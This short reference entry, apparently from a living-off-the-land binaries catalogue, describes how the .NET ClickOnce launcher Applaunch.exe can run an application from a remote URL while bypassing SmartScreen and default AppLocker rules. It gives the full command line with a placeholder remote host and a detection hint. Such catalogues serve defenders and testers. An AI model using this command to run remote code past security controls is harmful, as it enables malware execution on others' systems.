Microsoft .NET ClickOnce Launch Utility.
/activate should be considered suspicious.
Launches a ClickOnce application via Applaunch.exe. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"
Execute ClickOnce applications in environments where dfsvc.exe would normally enforce full-trust and SmartScreen checks. Can be abused as an AWL bypass in rare configurations.